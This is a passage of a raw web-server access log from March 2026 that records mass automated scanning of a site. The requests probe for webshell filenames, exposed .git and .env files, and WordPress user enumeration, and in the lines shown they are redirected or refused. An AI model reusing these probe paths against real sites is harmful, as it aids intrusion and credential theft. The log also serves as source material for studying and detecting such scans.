+0300] "GET /bless3.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:10:21 +0300] "GET /yellow.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:10:34 +0300] "GET /classgoto24.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:12:07 +0300] "GET /031.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:12:24 +0300] "GET /333.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:00:40 +0300] "GET /thxt.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:03:07 +0300] "GET /license.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:04:17 +0300] "GET /file4.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:04:24 +0300] "GET /alpa.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:06:00 +0300] "GET /json.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:06:34 +0300] "GET /size.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:06:49 +0300] "GET /akk.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:10:08 +0300] "GET /kaza.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:10:26 +0300] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:10:29 +0300] "GET /ern1.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:11:36 +0300] "GET /sendmail.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:12:53 +0300] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 194.31.72.75 - - [12/Mar/2026:11:01:07 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 4.204.200.32 - - [12/Mar/2026:11:01:29 +0300] "GET /ALFA_DATA/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:02:18 +0300] "GET /0x0x.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:03:01 +0300] "GET /past.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:04:56 +0300] "GET /upload/JustBrain.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:05:21 +0300] "GET /ilex.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:08:18 +0300] "GET /kairolin.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:08:21 +0300] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:08:24 +0300] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:09:40 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:09:43 +0300] "GET /berlin.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:09:45 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:09:49 +0300] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:10:56 +0300] "GET /DaoZM.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:10:59 +0300] "GET /vee.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:11:46 +0300] "GET /thems.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:11:55 +0300] "GET /i.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:12:19 +0300] "GET /doti.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:12:46 +0300] "GET /plss3.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:01:10 +0300] "GET /xml.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:03:33 +0300] "GET /wp-includes/js/crop/shell.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:05:07 +0300] "GET /wp-content/plugins/phpad/as.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:05:33 +0300] "GET /user.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:05:56 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:06:08 +0300] "GET /1xleet.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:07:04 +0300] "GET /2clas.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:08:32 +0300] "GET /file88.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:09:06 +0300] "GET /options.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:10:42 +0300] "GET /wp-content/plugins/zgdsfags/rk3.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:00:21 +0300] "GET /file15.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:00:29 +0300] "GET /beence.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:00:55 +0300] "GET /xz.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:01:54 +0300] "GET /111.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:04:00 +0300] "GET /rx.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:05:41 +0300] "GET /cfile.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:07:33 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:09:25 +0300] "GET /xl2023.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:11:21 +0300] "GET /haa.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:12:33 +0300] "GET /mlex.php HTTP/1.1" 301 795 "-" "-" 4.204.200.32 - - [12/Mar/2026:11:12:37 +0300] "GET /Yanzmini.php HTTP/1.1" 301 795 "-" "-" 44.243.184.83 - - [12/Mar/2026:12:11:25 +0300] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/6.0 (Windows NT 6.2; WOW64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1" 43.135.142.7 - - [12/Mar/2026:12:01:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 85.137.48.167 - - [12/Mar/2026:14:01:49 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 43.140.247.223 - - [12/Mar/2026:14:09:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.228.157.67 - - [12/Mar/2026:12:43:55 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36" 159.65.139.58 - - [12/Mar/2026:13:46:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 173.252.69.116 - - [12/Mar/2026:13:54:19 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 43.228.157.67 - - [12/Mar/2026:12:43:56 +0300] "GET /public/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36" 43.228.157.67 - - [12/Mar/2026:12:43:56 +0300] "GET /app/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36" 43.228.157.67 - - [12/Mar/2026:12:43:55 +0300] "GET /.git/HEAD HTTP/1.1" 403 787 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36" 94.26.106.223 - - [12/Mar/2026:15:20:46 +0300] "HEAD /wp-json/wp/v2/ HTTP/1.1" 301 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.130 Safari/537.36" 94.26.106.223 - - [12/Mar/2026:15:20:52 +0300] "HEAD /?rest_route=/wp/v2/ HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.130 Safari/537.36" 49.51.47.100 - - [12/Mar/2026:16:14:14 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 124.121.115.226 - - [12/Mar/2026:16:12:02 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 195.154.174.199 - - [12/Mar/2026:16:14:17 +0300] "GET /index.php?rest_route=/wp/v2/users&orderby=id&order=asc&per_page=100&page=1 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36" 170.106.181.163 - - [12/Mar/2026:17:02:01 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 85.137.48.167 - - [12/Mar/2026:17:22:59 +0300] "GET /wp-content/plugins/user-registration/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 161.115.235.151 - - [12/Mar/2026:18:18:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0" 104.194.152.134 - - [12/Mar/2026:19:35:14 +0300] "GET /unzipper.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 43.157.180.116 - - [12/Mar/2026:21:34:13 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 184.105.10.106 - - [12/Mar/2026:21:04:13 +0300] "GET / HTTP/1.1" 301 795 "-" "python-urllib3/2.2.3" 60.188.57.0 - - [12/Mar/2026:21:01:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 66.249.66.164 - - [12/Mar/2026:22:19:51 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.7632.116 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.66.165 - - [12/Mar/2026:22:14:34 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.66.9 - - [12/Mar/2026:22:49:55 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 194.26.192.138 - - [12/Mar/2026:23:36:32 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.138 - - [12/Mar/2026:23:36:33 +0300] "GET /wp-includes/blocks/post-template/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.138 - - [12/Mar/2026:23:36:33 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 66.249.66.11 - - [12/Mar/2026:22:49:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.7632.116 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 194.26.192.138 - - [12/Mar/2026:23:36:32 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.138 - - [12/Mar/2026:23:36:32 +0300] "GET /wp-includes/widgets/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.138 - - [12/Mar/2026:23:36:32 +0300] "GET /wp-includes/rest-api/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.138 - - [12/Mar/2026:23:36:33 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 194.26.192.138 - - [12/Mar/2026:23:36:33 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 49.51.183.15 - - [12/Mar/2026:22:36:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 194.26.192.138 - - [12/Mar/2026:23:36:33 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 4.204.200.32 - - [12/Mar/2026:23:52:49 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 172.173.240.39 - - [13/Mar/2026:02:52:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 46.161.5.197 - - [13/Mar/2026:01:02:27 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 152.42.254.29 - - [13/Mar/2026:01:13:08 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 185.242.3.19 - - [13/Mar/2026:02:23:48 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 20.100.177.179 - - [13/Mar/2026:03:16:13 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 43.157.172.39 - - [13/Mar/2026:03:46:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.63.83.113 - - [13/Mar/2026:04:30:39 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 199.45.155.87 - - [13/Mar/2026:05:01:55 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 43.130.16.140 - - [13/Mar/2026:04:41:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 119.249.100.107 - - [13/Mar/2026:05:27:24 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.116 Safari/537.36" 202.46.62.38 - - [13/Mar/2026:05:27:25 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.6943.141 Safari/537.36" 104.28.235.58 - - [13/Mar/2026:06:00:29 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 124.198.132.28 - - [13/Mar/2026:06:46:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.135.193.11 - - [13/Mar/2026:07:01:11 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:22.0) Gecko/20130328 Firefox/22.0" 45.135.193.11 - - [13/Mar/2026:07:01:11 +0300] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:43.0) Gecko/20100101 Firefox/43.0" 91.92.242.199 - - [13/Mar/2026:07:11:13 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.reddit.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.130 Safari/537.36" 43.156.202.34 - - [13/Mar/2026:09:15:07 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.151.104.32 - - [13/Mar/2026:09:29:33 +0300] "GET /public/wp-blog.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:31:34 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:32:18 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:32:41 +0300] "GET /bnm.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:36:46 +0300] "GET /ajax.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:36:49 +0300] "GET /tx78.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:28:55 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:28:59 +0300] "GET /nw.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:29:57 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:30:17 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:31:24 +0300] "GET /ws49.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:32:53 +0300] "GET /tool.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:33:01 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:33:42 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:35:00 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:35:09 +0300] "GET /wp-p2r3q9c8k4.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:37:33 +0300] "GET /intall.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:31:58 +0300] "GET /hplfuns.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:32:46 +0300] "GET /sid3.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:30:58 +0300] "GET /ms.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:33:15 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:34:14 +0300] "GET /abc.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:35:23 +0300] "GET /sa.php7 HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:36:04 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 117.33.163.216 - - [13/Mar/2026:09:27:41 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.151.104.32 - - [13/Mar/2026:09:30:41 +0300] "GET /t.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:31:49 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:33:06 +0300] "GET /ws77.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:33:10 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:33:50 +0300] "GET /tfm.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:34:50 +0300] "GET /gfd.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:34:52 +0300] "GET /admin-footer.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:34:55 +0300] "GET /166.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:36:18 +0300] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:36:24 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:37:03 +0300] "GET /wp-blogs.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:37:06 +0300] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:37:09 +0300] "GET /wp-png.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:29:06 +0300] "GET /ws81.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:30:11 +0300] "GET /wp5.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:30:28 +0300] "GET /155.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:30:32 +0300] "GET /ws80.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:30:48 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:32:07 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 120.240.178.167 - - [13/Mar/2026:09:33:49 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.2717.61 Safari/537.36 QIHU 360SE" 20.151.104.32 - - [13/Mar/2026:09:35:14 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:35:18 +0300] "GET /myfile.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:29:41 +0300] "GET /s.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:32:33 +0300] "GET /a4.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:33:20 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:33:30 +0300] "GET /wp-act.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:34:01 +0300] "GET //tfm.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:34:19 +0300] "GET /gettest.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:34:22 +0300] "GET /amp.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:34:27 +0300] "GET /kj.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:34:30 +0300] "GET /xxw.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:34:35 +0300] "GET /term.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:35:30 +0300] "GET /ws75.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:35:33 +0300] "GET /wp-access.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:35:36 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:35:43 +0300] "GET /public/ws49.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:35:46 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:35:49 +0300] "GET /b.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:36:08 +0300] "GET /grsiuk.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:36:38 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:36:56 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:37:20 +0300] "GET /wpc2.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:29:20 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:31:10 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:31:42 +0300] "GET /hots.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:32:26 +0300] "GET /ccs.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:33:56 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:34:42 +0300] "GET /ws60.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:39:04 +0300] "GET /xtsr.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:39:43 +0300] "GET /bkyac.php HTTP/1.1" 301 795 "-" "-" 20.151.104.32 - - [13/Mar/2026:09:39:46 +0300] "GET /krntz.php HTTP/1.1" 301 795 "-" "-" 